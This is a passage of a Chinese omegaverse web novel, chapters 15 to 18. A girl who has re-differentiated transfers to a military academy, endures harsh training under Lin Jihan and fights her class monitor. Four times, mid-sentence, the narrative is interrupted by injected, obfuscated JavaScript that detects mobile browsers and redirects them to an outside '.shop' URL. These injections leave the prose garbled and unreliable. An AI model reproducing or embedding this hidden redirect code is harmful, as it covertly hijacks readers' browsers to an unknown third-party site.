砰——垃圾桶的盖子弹起又猛地砸了下去,晃荡了两下之后最终安静下来。 办公室内,慎玉山指责林寂寒不应该在这个时候刺激池远青,“她现在正是需要稳定情绪的时候,你不要这么刻薄。” 林寂寒坐在椅子上,双臂抱在胸前,桀骜地抬着下巴,语气冰冷,“我看不出来她的情绪哪里不稳定。” 慎玉山:“……” 慎玉山:“那你也不能这样,再说了,她一向是个要强的女孩子,就算是心里不舒服,想必也不会表现出来。你要耐心一点。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470511|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵,”林寂寒冷笑一声,“慎玉山,不是我没耐心,而是你根本不了解她。我敢肯定,她只会非常开心、非常迫不及待,没准儿连书包都扔了。” “……寂寒,”慎玉山站在他的对面,“你老实告诉我,如果她分化成为Alpha,那你打算怎么办?” 分化成Alpha,意味着他们之间再也没有任何可能了。 “什么我打算怎么办?”林寂寒眉头皱在一起,“她分化成什么跟我有什么关系?你该不会真以为我打算履行什么婚约吧?” 林寂寒站了起来,拽了拽自己的袖口,“这是她自己的事情,跟我没有关系。” “你……” 说完之后,林寂寒走到门口,一把将门拉开。 拎着书包的池远青站在门口眨了眨眼睛,对上他的视线。 其实她本来已经把书包扔了,但一想到这书包是林寂寒亲自挑的,他这个人又那么小气,没准儿会借题发挥。 然而林寂寒一把夺过她手里的包,随手扔在了一边的垃圾桶里。 赶出来的慎玉山正好看到这一幕,他重重地叹了口气。 池远青的视线随着书包进行了一个抛物线运动,然后很快就顾不上书包了,连忙去追大步离开的林寂寒。 “慎医生,再见!!!”池远青摆了摆手。 慎玉山摘下自己的眼镜擦了擦,眼眶微红。 而池远青也终于赶上了林寂寒,“你走这么快是不是想要报复我?” 林寂寒又突然停了下来,于是来不及停下的池远青就这样撞进了林寂寒的怀里,又被他拎着衣领扯了出来。 “以后跟我保持距离。”林寂寒居高临下地看着她。 然而很快林寂寒就发现“居高临下”这个词汇早就不适用于他们之间的差距了,不知道从什么时候开始,池远青的身高就已经在攀升了。 池远青费解,“保持距离?” 她当初分化成Omega的时候,林寂寒不知道距离两个字怎么写,现在她能分化成Alpha,他倒是知道什么叫做距离了? 林寂寒像是已经忍耐到了极限,说完这句话之后就没再开口,一路沉默地回了家,然后更是直接上了楼。 管家看着自家少爷的背影,问,“他又怎么了?” “不知道啊。”池远青随口回答。 这个结果简直是你好我好大家好,他有什么不开心的? 池远青暂且抛开这个问题,“管家叔叔,我好饿,我们晚上吃什么?” 管家的注意力立刻被池远青吸引,转身去厨房查看晚上的备餐了。 第二天,第三天,池远青都照常去了艾德利斯学院。 校园内风平浪静,爱诺和瑟诺斯同时请假,据说是家族内部的活动。 没有人和她作对,池远青的生活乐得自在。 第四天,教务老师主动找了池远青。 “你的情况学校已经有所了解,为了你个人的前途发展,决定通过你的转学申请。”教务老师将表格递给她。 她什么时候递交转学申请了? 池远青拿过来,被转入学校毫无意外的是林寂寒毕业的中央第一军校,时间正是检测结果出来的那天晚上,但问题是—— “我要从一年级念起?” 该死的,她就知道林寂寒那个小心眼的要报复她! 16. 第 16 章 池远青当初进艾德利斯学院是林寂寒的安排,那一次只是把人送到距离学院一条街的拐角处就离开了,而这一回司机则是将她送到了军校的门口。 望着军校巍峨的门口,池远青打开了车门,下车,短暂地思考了下自己用什么姿态走进去会比较合适。 “没有想到我们还能再见面。” 池远青转头,见到了上次曾经在毕业典礼上说过几句话的军事理论系的老师。 “上次没能进行完整介绍,我的名字叫做韩玉华,”韩玉华朝她笑了笑,“你可以叫我韩老师。” 池远青点头,“韩老师您好。” “跟我进来吧,我们边走边说。” 韩玉华是个非常细心且适合的向导,她介绍了一遍军校现在的基本设施和课程开设情况。 “你的资料我已经看过了,非常罕见的二次分化,”韩玉华笑了笑,“由于你之前的教育体系与军校完全相反,所以我主动建议你从一年级念起,表现优秀的话,可以申请跳级。” 原来不是林寂寒的报复。池远青的心稍微得到了一点宽慰。 “一年级目前还没有具体的院系分别,而是一些基础课程,包括军事理论、特异能力、战斗实操等等,课业很重,尤其是你一开始可能会不习惯,所以要辛苦一些。” 韩玉华停在一栋大楼面前,她伸手拍了拍池远青的肩膀,“早点适应这里的生活,加油。” 说完之后她将池远青推给了从楼内走出来的高大青年,“她就先交给你了。” “好的,韩老师。” 池远青顺着韩玉华的视线看过去,然后眉头挑起,等到韩玉华走了才开口问,“这个时候,你不是应该去特遣军报道了吗?” 这还是从检查结果出来之后两人的第一次见面。 林寂寒仍旧是那副样子,嘴角带着若有似无的微笑,眉目却清凌凌的,他慵懒回答,“手续问题,需要推迟三个月。” 这三个月的时间是给林寂寒度过分化期的,分化完成之后,他的状态足够稳定才会进入特遣军。 但该说不说,他俩在分化上面居然还挺有默契的。 想到这一点,林寂寒嘴角那点微笑也消失了。 “那你现在是……”池远青眯了眯眼睛,有点不详的预感。 她不敢问,她怕问了不详的预感就会变成真的。 林寂寒抱着胳膊,他提起一边的嘴角,“看我干什么,该不会以为我跑到这里来给你当老师吧?” 说完林寂寒就转过身,“走吧,带你去一年级的教室,这节课是军事理论。” 到了教室门口,林寂寒就停住了脚步,“去吧。” 池远青的手都放在门把手上了,又收回来,神情莫名地盯着林寂寒看,“你特地出现在这里,难道就是为了送我上楼?” “怎么?不相信?”林寂寒侧头,“我只是顺路而已,说不上特地两个字。” 他抬手指了指手腕上的终端,语气悠扬轻佻,“赶紧进去吧,现在距离上课还有两分钟的时间……除非你第一次上课就想迟到。” 林寂寒抬起手,贴在池远青的后背上轻轻推了下,温热的呼吸在她耳边滑过,“快去。” 池远青“啧”了声,“你别推我啊。” 她站定之后,深吸了口气,带着对于未知的点点紧张推开了面前教室的大门。 还没有到上课时间,教室内的学生三三两两地聚集在一起,门口的动静吸引了他们的注意,霎时间所有人的视线都聚集在了那里。 教室内一片死寂,随即有人吐出一口浊气,“吓死我了,我还以为是老头子到了呢。” 方才还死寂的氛围随着这口浊气的呼出再次开始活动起来。 “这位应该是我们的新同学,”窗边一道身影曲着腿坐在桌子上,朝着池远青的方向抬抬下巴,“做个自我介绍?” ——不知道为什么有点想逃,总觉得这个地方跟她想象中不太一样。 池远青下意识地回头看了眼,就见教室的门被关得死死的,一看就知道是谁的杰作。 “我叫池远青。”她回答。 说话的青年从桌子上跳下来,三两步就走到了池远青的面前,朝她伸出手,“瞿寺,这个班的班长。” 也许这个班级还挺友好的。 池远青的手刚刚伸出去,瞿寺已经收回了自己的手,他弯腰靠近,那双浅蓝色的眼睛倒映出池远青的身影。 “军校一般不会半路招收学生,你是有什么特异能力所以被招收进来的吗?”瞿寺的眼底闪烁着一抹兴味,“展示给我们看看?” 瞿寺的话引起了其他学生的兴趣,他们纷纷投来或好奇、或看戏的目光。 “军校生进校的第一件事都必须来一场展示吗?”池远青非常虚心地请教,“那班长你展示的是什么,我参考一下?” “怎么还岔开话题了,”瞿寺笑了下,他小声说,“没有特异能力那就是走后门进来的了?” 他站直身子,眼里流露出一抹轻视。 他实在是非常看不起这些走后门进来的酒囊饭袋,帝国第一军校的资源自然是整个国家当中最好的,但是这样优异的资源居然用来培养这么一群人。 瞿寺没有再为难池远青,毕竟这样的一个人对他来说没有任何的价值,除了有些碍眼。 “第一次见面就这么欺负人啊。”一道女声从教室最后的位置响起,随之一只手攀着桌子边缘坐了起来,凌乱的短发被她随意地拨动了下,“难怪外面说军校生的眼睛都长在了脑袋顶上。” 瞿寺没回头,“你的眼睛难道长在脚底了?陶六,不要以为我不知道你晚上翻墙出去喝酒的事情。” “……”刚刚还为池远青说话的陶六吃瘪,懒散地在自己的位置上坐好,朝着她露出了一个很淡的笑容。 她耸了耸肩,大概意思是我也帮不了你。 池远青观察了下四周的人,觉得还挺有意思的,不管是在艾德利斯学院,还是在第一军校,总是有人莫名看她不满。 她找了个空的位置坐下,思索着自己难道是有什么吸引别人恶意的特殊体质? 胡思乱想在花白头发的老头进门的那一刻戛然而止,四周的人也都安静如鸡,仿佛连呼吸声都能够听见似的。 老头的视线从这头扫视到那头,在池远青的身上顿了顿,又再度移开。 “上课,”老头浑厚的声音响起。 这一节课格外难熬,原本池远青对于其他人噤如寒蝉的态度很是不解,然而等到老头正式开始授课之后她才知道为什么。 这老头的讲课内容枯燥无聊到极致,简直是天选催眠曲,然而一旦你露出一丁点的游离,胳膊粗细的戒尺就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470512|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会落在你的手心,饶是粗糙的手都会被打出一条红肿的痕迹。 第一个被惩罚的人就坐在池远青的身后,那清脆的声音,沉闷的哽咽,简直像是贴着池远青的耳边响起的。 老头站在她左后方的位置,戒尺拿在手里,微笑挂在他的脸上,“希望其他同学不要让我失望,尤其是,新同学。” 池远青感觉自己的后背凉飕飕的,于是她一整节课都强撑着精神,才免于第一次见面就被打手板的尴尬境地。 铃声响起的那一刻所有人都松了一口气,老头背着手慢悠悠地离开了教室,“下节课见,同学们。” 等到老头的身影消失不见之后,陶六率先发言,“谁要和他下节课见?” 陶六这一节课被打了三次,整只手跟个猪蹄似的挂在胳膊上,看着就让人肃然起敬。 瞿寺收拾好自己的书本站了起来,“十分钟后,所有人到A12训练场集合。” 他拎起书包从池远青面前经过,淡淡的目光之中没有落在她身上一星半点,失去了对于这个转校生的所有期待。 A12训练场处在所有训练场当中最靠近里面的位置,池远青跟着同学朝那边移动的时候,就已经有不少的军校生开始了训练。 这门课训练的纯粹是□□的强健,四处都是□□的撞击的沉闷的声响,看得池远青喉咙都是紧的。 砰—— 有个青年被人扛着砸在了地上,鼻子下面鲜红的血液蜿蜒,他就坐在地上随手擦了下,然后一声不吭地爬起来继续挨揍去了。 “那是本届体能最差的学生之一,”瞿寺不知道什么时候绕到了池远青的身后,他挑剔的视线落在她露在外面的纤细的胳膊上,“你这样的,连他都比不过吧。” 说完之后他就走开了,像是专门过来嘲笑她一下。 池远青揉了揉自己的脑袋,强颜欢笑地鼓励自己。 没关系的,她甚至还没开始上课呢,所以才会被这幅景象吓到,等到她真的开始之后,绝对不会—— 砰! 池远青脸朝下趴在地面上,高大健壮的老师踢了踢她的肩膀,“还能起来吗?” 起不来了,起不来了。 池远青欲哭无泪,整整五十分钟啊,那么漫长的、遥遥无期的五十分钟。 四肢像是被拆开一般软弱无力,只能靠骨肉的连接勉强挂在身上。 “力气不小,但体力太差了,”老师看了会儿说,“回去再练练吧。下个月如果还是这样,收拾收拾退学。” 瞿寺也没好到哪里去,同样的鼻青脸肿,只不过他还能一瘸一拐地站起来。 他特地从池远青的腿上迈过去,然后低头对上她抬起来的深不见底的双眼冷哼一声走远了。 池远青又重新低下头,虽然她很要脸,但是现在显然不是她决定自己到底要不要脸的时候了。 就在这时,一双军靴绕到她的面前停下来。 熟悉的声音从头顶传来,“这就是你以后的生活,现在才刚刚开始。” 林寂寒垂眸静静看着宛如一条死狗的池远青,身侧的手动了动却没有做出任何多余的动作。 一阵沉默,代表池远青现在不想理他。 林寂寒想了想,“要我扛你起来吗?”但他又随即补充道,“下不为例。” 毕竟是第一天,林寂寒想。 17. 第 17 章 林寂寒说服了自己朝着对方伸出了手,然而一秒两秒过去,他朝上的手心始终空空荡荡的。 趴在地上的池远青动了动,疲惫的声音响起,“谢谢,但我还能坚持。” 林寂寒垂眸看着池远青的发顶,脸上表情一瞬间空白,他有点费解,但这放在对方身上,好像也算是理所当然。 池远青费劲巴拉地从地面上爬了起来,动作断断续续,粗喘声一度让人觉得她可能已经要放弃了,但她最终还是站了起来——就是不大稳当,摇晃了两下之后才稳住身体。 “这么累?”林寂寒打量着池远青,喉咙里溢出一声轻笑。 池远青没忍住朝他翻了个白眼,“嘲讽在校生果然是每一个毕业生都有的恶劣习性。” 林寂寒耸耸肩,“你也不负所望,给了我嘲笑你的机会。” “你到底为什么会在这里?你要在这里多久啊?”池远青一口气问了出来。 “我是以优秀毕业生的身份兼职助教的,也就是说未来很长时间内,也许你都会见到我。” 他没有继续说下去,而是带着池远青去了军校的医院,“这里有治疗仪,你才刚刚开始参加训练,身体难免跟不上,最近这段时间多进去治疗治疗。” 林寂寒和池远青并肩走着,突然闻到了一股熟悉的青桔的味道。 池远青的信息素外泄了。这并不是什么无法理解的事情,上一次医生曾经提到过,临近分化期的人对于信息素的控制还很陌生和茫然,因此这段时间会频繁出现信息素外泄的情况,只要带好抑制贴就可以了。 然而这种清新的味道却骤然间点燃了林寂寒的躁动,他仿佛能够听到自己心底燃烧的火焰,正在拙劣地摇晃火花企图获得对方的注意。 林寂寒恶补过性别知识,又查询过不少的资料填补知识空白,他很清楚Alpha之间是如何的排斥与相互厌恶,这种情况怎么可能会出现在他的身上呢? 脸色一瞬间变得苍白,林寂寒垂在身侧的手不自觉地紧握成拳头,他的眼睫微微颤动着,呼吸也一瞬间变得急促起来。 池远青显然没有心思注意到林寂寒的变化,她正因为自己疲惫不堪的身体神游太空,眼神空洞地问,“我以后都要过这种日子吗?” 她简直不敢想象她以后的生活该是多么的可怕。 “我现在还有回去的机会吗?”池远青顿了顿,颓废地说,“算了,性别又不是天平,一会儿这边一会儿那边的,该死的,没人告诉我军校这么可怕!” 那个韩老师明明看起来就很快乐啊! “池远青。” 林寂寒的声音有些轻微的沙哑,听得人脸热热的,不对,脸热热的? 池远青立刻反应过来了自己现在的状况,正好此时林寂寒也把抑制贴递了过来,他问,“你自己没感觉吗?” “你不说我还真的没意识到,”池远青接过来贴在了后颈的位置,“我还以为是被打出了幻觉。” 林寂寒的步伐有些急促,不像是要去治疗仓,更像是要奔赴战场,然而除了他自己,没人知道他现在内心有多么的焦灼与茫然。 到了校医院,医生询问了池远青的情况之后就把人塞进了治疗仓内,要求她在里面待够二十分钟。 进入治疗仓前,池远青原本还想要跟林寂寒打个招呼,却没想到人不知道哪里去了。 好吧。池远青心想,二十分钟也挺快的。 * 走廊尽头的洗手间内,布满青筋的两只手撑在洗手池边,水龙头里哗啦啦地流着冷水。 水珠从林寂寒的鼻尖滚落在了急促的水流之中,他深深地低着头,领口被冷水打湿,胡乱地贴在主人的皮肤上。 好一会儿之后,他伸出手将水龙头关闭,抬起头看向镜子里的自己。 原本就苍白的脸色现在更是一点血色都没有了,然而腺体却不正常地散发着灼热。 他从口袋里掏出一个透明的没有任何标签的药瓶,从里面倒出来几颗药片塞进嘴里咽下。 腺体的不适感渐渐消失,察觉到自己恢复正常以后,林寂寒整理了下自己的衣服离开了洗手间。 “我带来的那个人已经进去了吗?”林寂寒找到了刚才的医生。 医生点头,“进去十分钟了,再过十分钟就能出来。” 林寂寒在旁边的沙发上坐下,闭着眼睛靠在沙发上,沉默片刻,他问,“医生,如果一个人对另一个人的信息素感觉到灼热、亢奋、浑身无力,这说明什么?” 医生抬起头,似乎不大理解他能够问出来这种问题,“说明二者的匹配度很高啊。” 林寂寒抿唇,“没有别的可能吗?” “有啊,”医生又回答,“另一方的信息素等级很高,那么就可以影响到附近范围内的其他人,不过这种情况比较少见,我还是倾向于匹配度比较高。” 医生停顿了下,有些八卦了,“你在说谁?” 作为军校内的医生,常年接触军校生,他当然也认识面前这个不久前才刚刚毕业的优秀学生。 林寂寒没有回答,他已经太累了。 十分钟之后,池远青准时被从治疗仓里放出来。 进去之前还无比颓靡的人出来的时候神采奕奕。 “太神奇了,治疗仓的治疗效果也太好了。”池远青很是兴奋地跑到林寂寒面前,“我感觉我现在已经可以挑战同时大战十头牛了。” 早在她出来的时候,林寂寒就已经睁开了双眼,方才的疲惫与茫然一扫而空,与之相对的是眼底闪烁的诡异光芒。 “感觉很不错?”他问。 “……”池远青突然觉得背后凉飕飕的,言多必失,她现在或许应该闭上嘴当作自己什么都没有说过。 站直,转身,刚抬起腿就被身后的人拉住了衣领。 顿时被衣领勒住了脖子的池远青不得不向后寻求呼吸的空间,却直接撞在了林寂寒的胸膛上。 嗯,虽然很硬,但有些微的弹性,不愧是军校毕业的,这个身材足以秒杀百分之九十的人。 但很快池远青就为自己一瞬间的走神与赞美发出了灵魂的颤抖与质问,“什么叫做我需要加练?!!” “你的老师说了你的体能素质太差了,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470513|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林寂寒死死地抓着她往训练场的方向拖,“这一个星期你必须、至少也得给我站在及格线上。” 池远青望天,“这个世界上居然有你这么冷漠的人!我才刚结束训练没多久你就这样对待我!” 林寂寒拍了拍她的脑袋顶,让她低下头来,“你知道我是怎么保证才能让你破例进入军校的吗,如果你连体能测试都过不去,我的脸恐怕能直接丢到外太空了。” “……大可不必。” “我身边不能出败类,尤其是你。” 林寂寒松开手,把自己刚刚买来的营养液扔给她,“喝了,然后开始加练。没有商量的余地。” 在对方冷冰冰的目光注视之下,池远青将营养液喝掉,力量充盈的感觉让她生出了一点继续的勇气。 “来吧。”池远青破釜沉舟。 四个小时后,黑暗笼罩大地,池远青与黑暗几乎融为一体,再次趴在地上动弹不得。 林寂寒却依旧清清爽爽,“你的老师说的没错,体能确实太差了,根本没有任何持久力。” “持久力到底有什么用?”池远青有气无力地提问。 “用处可太多了,尤其是对一个……”林寂寒的话止住,然后就怎么也说不出来了。 对上池远青疑惑的视线,他却直接别开脸,“以后每天晚上这个时间都会在这进行加练,直到你的体能测试合格。” 池远青又垂下了自己的头,“哦。” 林寂寒这回没再提什么扛着她走,而是给她发了位置,让她自己回寝室休息。 “你的东西那边也都收拾好了,”林寂寒从地上捡起自己的外套穿好,回头朝着池远青笑了下,“明天见。” 池远青叹了口气,“别见了。” 每次见面林寂寒都得要她半条命。 池远青就这么坐在地上看着林寂寒的身影逐渐融入到黑暗之中,半晌,她从地上站起来拍了拍身上的土,朝着寝室的位置走去。 军校的寝室全都安排在同一栋大楼内,单人间,所有的配套设施都齐全, 除此之外,没有任何其他优待。 池远青拖着疲惫的身子往回走。 白天韩老师已经告诉了她所在的楼层和房间,刷卡可进,但是池远青没想到会在这里遇见瞿寺。 瞿寺应该是刚刚洗完澡,头发湿漉漉的,他站在门口朝着池远青扫了一眼,然后打开门进去,又砰的一声关紧。 虽然他什么都没说,但是鄙夷之情溢于言表。 池远青无奈,转过头却发现自己的另一边住的是陶六。 陶六嘴里叼着块面包,朝她摆摆手,“这么晚才回去,你去做什么了?” 她打量了一下池远青的状态,“你看着像是要投胎了似的。” “……差不多吧。”任谁这么被加练,第一想法可能都是不如投胎。 陶六打趣两句之后就进了房间,并且关门前友好提醒她瞿寺这个人非常鸡毛,很可能会敲她的门。 “……谢谢。” 池远青站在门口思索了会儿,觉得自己以后的日子应该是会很热闹。 18. 第 18 章 “起来,继续。” 从那天之后,每天晚上林寂寒都会单独给池远青加训四个小时,人起不来了就扛到校医院的治疗仓里,出来之后继续加训。 接连几日,池远青迅速消瘦,每日游魂一样游荡在军校的各个角落里,偏偏治疗仓的效果极好,身体没有丝毫疲惫,精神也没有丝毫困顿。 池远青趴在地上,声音幽幽响起,“不起。” 林寂寒对此也早有预料,一只手抓住她的衣领,“再问你一遍,起不起?” 衣领被他抓起一点弧度,露出底下白皙的皮肤以及肉色的抑制贴。 池远青沉默,四肢摊开,像一只八爪鱼一般紧紧贴在地面上,誓要与地面共存亡。 “你看你那点出息,”林寂寒松开手,在她旁边坐了下来,拧开手里的瓶盖,咕咚咕咚地喝了好几口水,“还想在军校混下去?比我差远了。” 池远青侧过脸,幽怨的视线落在林寂寒的脸上,“你怎么好意思跟我比的?你都当了多少年的Alpha预备役了,我才当了不到一个星期。” “还是你太弱了。”林寂寒不留情面。 池远青冷哼一声,“实在不行我改行去学纯理论,军校里也不是没有纯理论专业,就像韩玉华一样。” “韩老师?”林寂寒微微挑眉,光影打在他英俊的侧脸上,“那看来你还不知道。” 池远青撑起身子,“知道什么?” “韩老师是九年前的第二十三届优秀毕业生,”林寂寒用水瓶敲了下池远青的肩膀,“全科断层第一,包括实战课程,是当时最优秀的军官之一。” “那她现在为什么做文职?”池远青不理解。 “在战场上受伤了,”这是众所周知的事情,也没有什么可避讳的,韩玉华自己也会提起,“那场战役对她的大脑和身体造成了不可逆的损伤,只能改行文职。” 池远青沉默两秒。 “为她感到可惜?完全没有必要,即便是文职,她也依旧很优秀,”林寂寒站了起来,拍了拍裤子上的灰尘,“当然,我不是鼓励你的意思。” “好了,讲故事环节到此结束,”林寂寒勾起一侧嘴角,军靴已经踢了过来,“起来!” 池远青下意识地翻滚躲过,然后迅速起身。 “这不是能起来的?” “……”该死的,她应该恶补一下战术,然后用卑鄙武装一下她单纯天真的头脑! 林寂寒歪头,“总觉得你在骂我。”而且骂得很脏,从她的眼神当中就能够看出来。 池远青攥紧了自己的拳头,谦逊回答,“确实小骂了两句。” “两句怎么够呢?”林寂寒缓缓扯开嘴角,“我得让你骂到日夜想我才可以。” “……”这是谁的m,能不能带走啊啊啊啊? 一个小时后,时间逐渐来到凌晨两点,林寂寒终于放过了池远青。 而池远青也不负所望地将所有的脏话都贡献给了林寂寒——不过是在心里贡献的。 她拖着疲惫的身体回到寝室,卡片刚刚刷开房门,左边的寝室门就打开了。 瞿寺穿着一身蓝色睡衣,头顶着眼罩,“你为什么这个时间才回来?” 他眯着眼睛打量池远青,“你去做什么了?” 池远青感受到他的敌意,耸耸肩,不甚在意,“军校的规章制度我都记得,没有哪一条规定我要向班长报备我的行程。” 说着她就打算进门,却被一条手臂拦住了去路。 她转过头,对上瞿寺的双眼,“时间太晚了,你回来会打扰我的休息。” “那你的意思是?” “搬出去。” 池远青气笑了,“凭什么我就要搬出去,为什么不是你搬走?” 瞿寺好像从来没有考虑过这个选项似的,一听就皱起了眉头,“我凭什么搬走?” 池远青攥住他的手腕,甩开,“不要烦我,你永远不知道一个睡眠不足的人的脾气有多么暴躁。” “这句话应该我对你说。”瞿寺愣了下,立刻回击。 懒得和对方废话太多,池远青打算强行推开瞿寺进去,然而瞿寺忍了几天,今天无论如何也得把这件事情解决明白了。 他一把抓住池远青的胳膊,抬脚一迈跟着她进了寝室。 砰的一声,寝室门关闭,瞿寺的拳头也跟着挥了上来。 得益于常年跟林寂寒打架的经验,池远青几乎是瞬间躲过,她不敢相信,“军校不是禁止私下斗殴吗?” “被发现了才叫做斗殴,”瞿寺大言不惭,“没发现的那叫做联络感情。” 两个人很快大打出手,瞿寺原本以为自己对上池远青是虐菜,没想到能打得有来有往,虽然池远青招式怪异,但是非常有效,他一时之间竟然无法在池远青的身上占到便宜。 砰—— 两个人砸在地面上,一个掐着对方的脖子,一个薅着对方的头发,场面怎么看怎么诙谐。 “池远青,你给我松手,”瞿寺感觉头皮都要离开他的头盖骨了,“要阴手,你要不要脸?” “我不要脸?”池远青咳了两声,“你都要把我掐死了,你还让我思考我要不要脸?瞿寺你要不要脸?” “你……啊!”瞿寺恨得直咬牙。 不管今天晚上胜负怎么样,瞿寺的脸算是丢尽了,谁都不会想到他这个班长会在凌晨的别人寝室里打成这样。 “松手。” “不松。” “不松就不松!” 谁都不肯后退一步,最终的结果是两个人就这样筋疲力尽,再大的仇恨都抵不住睡眠的侵袭,最后就这样睡着了。 第二天早上醒来,两个人都像是见了鬼似地猛地松开手。 一个脖子上带了一点瘀痕,另一个头皮胀痛,头发都比平时长了半厘米。 瞿寺一言不发地带着极大的怨气站起来,“不要以为我会就这样放过你,昨天晚上只是个意外。” 池远青坐起来,摸了摸自己的脖子,冷静下来之后决定跟他好好谈谈,“我需要加训,回来得晚不可避免,要不然我想办法给你做点隔音?” 不过池远青早出晚归,在寝室的时间很少,压根不知道这里的隔音其实很不错。 没错,瞿寺就是故意找茬。 果然瞿寺拒绝了她的提议,转而问,“你在加训?” 池远青点头。 瞿寺上下打量,然后冷笑了声,“看起来有点效果,至少不像第一天来的时候那么废物了,被打的起都起不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470514|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” “你起来了,就是脸肿了一圈。”被打的。 池远青轻而易举地挑起了瞿寺的怒火,不过今天早上还有课程,不是个跟她计较的好时候。 瞿寺拉了拉自己的睡衣,转过身拉开了门。 站在门口的陶六抬起手挥了挥,“好巧,班长同学,居然在……” “闭上你的嘴,”瞿寺直接打断她,“不要让我在别人的嘴里听到这件事。” 说完之后他就离开了。 陶六扭头看向刚从地上爬起来的池远青,扫了眼她的脖子,啧啧地说,“你俩有点激烈了。” “这话怎么听着那么别扭呢?” “那可能是我的语气有问题。” 陶六算是军校当中人缘不错的那一个,态度也比较友好,最近几天早上,她都会邀请池远青共进早餐,两个人的关系也因此亲近了一些。 “瞿寺找你到底是怎么回事?”陶六把池远青盘子里的鸡腿扒拉一个到自己那里。 池远青当作没看见,“说我影响他休息。” 陶六“哦”了一声,“他诓你呢。” 池远青:? 见池远青不知道,陶六解释说,“瞿寺有一定程度的睡眠障碍,所有人都知道的,因为睡不着,他晚上就会找事,要不然我也不会提醒你。不过很显然,你被他盯上了。” “我看他昨天晚上睡得挺好的。” 陶六对瞿寺的睡眠不感兴趣,反而兴致勃勃地问,“我能不能加入你们?” 池远青:“……什么?” “打架啊,你俩那样子一看就是打架打得很猛,”陶六说到这里无比兴奋,“我也想加入你们。” 池远青深吸了一口气,又听见陶六说,“瞿寺不会轻易认输,这几天晚上估计都会去找你,到时候你们算我一个,放心,我谁也不帮,就是纯打。” “你这叫添乱。” “哎呀,你不说我都不知道。” 陶六跳脱的性格连池远青都有点无力招架,她专心吃鸡腿,让她晚上自己伺机而动,反正池远青是不可能掺和的。 * “继续。”林寂寒的声音一响起,池远青就已经形成了条件反射地爬起来。 只不过这一次她虽然主观意愿强烈,但奈何身体不听使唤,不仅如此,那种熟悉的发热的感觉又来了。 视线开始变得有些模糊,池远青极力地想要看清楚靠近的林寂寒。 他还没意识到问题,半跪在地上,一只手撑着地面靠近她,“喂,池远青,你不会真的这么弱□□,已经起不来了吗?” 好香啊。池远青的鼻尖动了动。 她一只手抬起来抓住了林寂寒的衣领往下拽了拽。 她能够感觉到,那股香气就来自于这个地方,被多余的布料给挡住了的美妙的香气。 “我想……” “你说什么?”林寂寒靠近。 紧接着池远青突然暴起,一下子把林寂寒压在了身下,她低下头,灼热的呼吸急促,“我想咬你一口。” 她还保留着最后一点理智,“反正你也要成为Alpha的,我咬你一口,你也不会吃亏,对吧?” 林寂寒:……? 哪来的歪理?